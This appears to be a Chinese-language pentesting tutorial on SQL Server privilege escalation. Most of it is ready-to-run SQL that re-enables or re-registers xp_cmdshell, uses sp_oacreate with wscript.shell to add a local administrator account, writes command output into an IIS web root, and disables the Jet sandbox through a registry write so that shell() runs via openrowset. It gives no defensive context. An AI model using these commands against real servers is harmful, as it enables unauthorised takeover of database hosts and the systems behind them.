sql server提权主要依赖于sql server自带的存储过程`。存储过程主要分为系统存储过程、扩展存储过程、用户自定义的存储过程三大类。

  • 系统存储过程主要存储在master数据库中,以sp_为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
  • 扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_为前缀
  1. xp_cmdshell提权

xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。

想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure将其开启。其中xp_cmdshell的提权前提为两个:

  • 拿到sa权限的账户密码
  • sqlserver服务未降权

使用账号密码登录成功后,先检查xp_cmdshell是否存在。

1
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

结果为1,则证明存在。当结果为0时,可以通过下列命令恢复

  • 如果xp_cmdshell被删除,则可以通过下列命令重新加载。

    1
    dbcc addextendedproc("xp_cmdshell","xplog70.dll");
  • 如果连xplog70.dll也被删除,则可以通过下列命令恢复(未验证)

    1
    2
    3
    exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL 
    Server\MSSQL\Binn\xplog70.dll';

  • 当通过xp_cmdshell执行命令时,出现下列错误时,

    1
    -2147217900:[Microsoft][ODBC SQL Server Driver][SQL Server]SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 

    可以通过下列语句开启xp_cmdshell

    1
    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE

    使用xp_cmdshell的方式为

    1
    EXEC master..xp_cmdshell 'whoami';
  1. sp_oacreate提权

sp_oacreate可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd

sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。但是使用此方法时sp_oacreate没有回显,所以一般用于xp_cmdshell无法使用时。

以下命令用来开启sp_oacreate,不开启的话同样会有阻止组件的报错。

1
2
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE

提权命令如下

1
2
3
4
5
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'

不过没有回显可以配合一些其它操作配合完成读取文件,比如可以通过xp_dirtree列目录可以查到物理路径

1
2
3
4
execute xp_dirtree 'c:'           # 列出所有c:\文件、目录、子目录
execute xp_dirtree 'c:',1 # 只列c:\目录
execute xp_dirtree 'c:',1,1 # 列c:\目录、文件

那么就可以先将执行的命令写入到网站目录下

1
2
3
4
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt';

除此之外,还可以通过替换上列命令中的run和组件完成其它操作

  • 复制文件

    1
    2
    3
    declare @o int;
    exec sp_oacreate 'scripting.filesystemobject', @o out;
    exec sp_oamethod @o, 'copyfile',null,'c:\\1.txt' ,'c:\\2.txt'
  • 移动文件

    1
    2
    3
    4
    declare @o int;
    exec sp_oacreate 'scripting.filesystemobject', @o out;
    exec sp_oamethod @o, 'movefile',null,'c:\\1.txt' ,'c:\\2.txt'

  • 删除文件

    1
    2
    3
    4
    5
    6
    DECLARE @Result int;
    DECLARE @FSO_Token int;
    EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT;
    EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\\Inetpub\\wwwroot\\1.txt';
    EXEC @Result = sp_OADestroy @FSO_Token;

  1. sandbox提权

    默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

    1
    2
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("whoami")')

    没有开启的话报错,通过下面命令开启组件

    1
    2
    3
    4
    5
    exec sp_configure 'show advanced options',1;
    reconfigure;
    exec sp_configure 'Ad Hoc Distributed Queries',1;
    reconfigure;

    再次执行会报下面错误

    接着关闭沙盒

    1
    2
    3
    4
    5
    6
    7
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

    沙盒模式`SandBoxMode`参数含义(默认是2)
    0:在任何所有者中禁止启用安全模式
    1 :为仅在允许范围内
    2 :必须在access模式下
    3:完全开启

    没有报错,说明执行成功。没有回显,可以通过之前的办法将加显写入文本后读取即可。

    1
    2
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt")')